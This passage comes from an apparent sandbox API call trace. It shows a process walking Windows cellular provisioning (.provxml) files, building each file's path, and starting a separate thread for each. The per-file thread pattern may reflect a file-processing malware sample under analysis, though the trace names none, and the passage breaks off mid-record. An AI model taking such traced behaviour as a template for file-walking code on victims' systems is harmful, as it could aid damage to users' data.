_Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.971] wcscat (in: _Dest=0x2f8f458, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.971] wcscat (in: _Dest=0x2f8f458, _Source="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml" [0180.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8f458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c [0180.972] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911a1852, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911a1852, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911a1852, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x294, dwReserved0=0x0, dwReserved1=0x0, cFileName="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="491__C~1.PRO")) returned 1 [0180.972] wcscmp (_String1="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.972] wcscmp (_String1="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.972] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x162) returned 0x2f6ca08 [0180.972] wcscpy (in: _Dest=0x2f6ca08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.972] wcscat (in: _Dest=0x2f6ca08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.972] wcscat (in: _Dest=0x2f6ca08, _Source="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml" [0180.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ca08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830 [0180.973] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911a1852, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911a1852, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911a1852, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="492__C~1.PRO")) returned 1 [0180.973] wcscmp (_String1="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.973] wcscmp (_String1="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.973] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x176) returned 0x2faae40 [0180.973] wcscpy (in: _Dest=0x2faae40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.973] wcscat (in: _Dest=0x2faae40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.973] wcscat (in: _Dest=0x2faae40, _Source="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml" [0180.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faae40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834 [0180.974] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911a1852, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911a1852, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911a1852, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="493__C~1.PRO")) returned 1 [0180.974] wcscmp (_String1="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.974] wcscmp (_String1="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.974] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x305a0c0 [0180.974] wcscpy (in: _Dest=0x305a0c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.974] wcscat (in: _Dest=0x305a0c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.974] wcscat (in: _Dest=0x305a0c0, _Source="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml" [0180.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305a0c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0180.975] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911c7ac2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911c7ac2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911c7ac2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="494__C~1.PRO")) returned 1 [0180.975] wcscmp (_String1="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.975] wcscmp (_String1="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.975] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15a) returned 0x2fee310 [0180.975] wcscpy (in: _Dest=0x2fee310, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.975] wcscat (in: _Dest=0x2fee310, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.975] wcscat (in: _Dest=0x2fee310, _Source="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml" [0180.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0180.976] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911c7ac2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911c7ac2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911c7ac2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="495__C~1.PRO")) returned 1 [0180.976] wcscmp (_String1="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0180.976] wcscmp (_String1="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0180.976] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x30591f8 [0180.976] wcscpy (in: _Dest=0x30591f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.976] wcscat (in: _Dest=0x30591f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.976] wcscat (in: _Dest=0x30591f8, _Source="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0180.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30591f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c [0180.976] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911c7ac2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911c7ac2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911c7ac2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="496__C~1.PRO")) returned 1 [0180.976] wcscmp (_String1="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.976] wcscmp (_String1="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.977] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16e) returned 0x2faafc0 [0180.977] wcscpy (in: _Dest=0x2faafc0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.977] wcscat (in: _Dest=0x2faafc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.977] wcscat (in: _Dest=0x2faafc0, _Source="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml" [0180.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faafc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0180.977] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911c7ac2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911c7ac2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911c7ac2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="497__C~1.PRO")) returned 1 [0180.977] wcscmp (_String1="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.977] wcscmp (_String1="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.977] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x164) returned 0x2f6cfe8 [0180.977] wcscpy (in: _Dest=0x2f6cfe8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.977] wcscat (in: _Dest=0x2f6cfe8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.977] wcscat (in: _Dest=0x2f6cfe8, _Source="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml" [0180.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6cfe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0180.978] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911edd2d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911edd2d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911edd2d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="498__C~1.PRO")) returned 1 [0180.978] wcscmp (_String1="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.978] wcscmp (_String1="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.978] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x178) returned 0x2fa0b10 [0180.978] wcscpy (in: _Dest=0x2fa0b10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.978] wcscat (in: _Dest=0x2fa0b10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.978] wcscat (in: _Dest=0x2fa0b10, _Source="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml" [0180.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824 [0180.979] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911edd2d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911edd2d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911edd2d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="499__C~1.PRO")) returned 1 [0180.979] wcscmp (_String1="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.979] wcscmp (_String1="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.979] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16c) returned 0x2fa0c90 [0180.979] wcscpy (in: _Dest=0x2fa0c90, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.979] wcscat (in: _Dest=0x2fa0c90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.979] wcscat (in: _Dest=0x2fa0c90, _Source="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml" [0180.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c [0180.980] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9026e179, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9026e179, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9026e179, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="49__CE~1.PRO")) returned 1 [0180.980] wcscmp (_String1="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0180.980] wcscmp (_String1="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0180.980] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x126) returned 0x30546f8 [0180.980] wcscpy (in: _Dest=0x30546f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.980] wcscat (in: _Dest=0x30546f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.980] wcscat (in: _Dest=0x30546f8, _Source="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0180.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30546f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848 [0180.981] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900f0949, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900f0949, 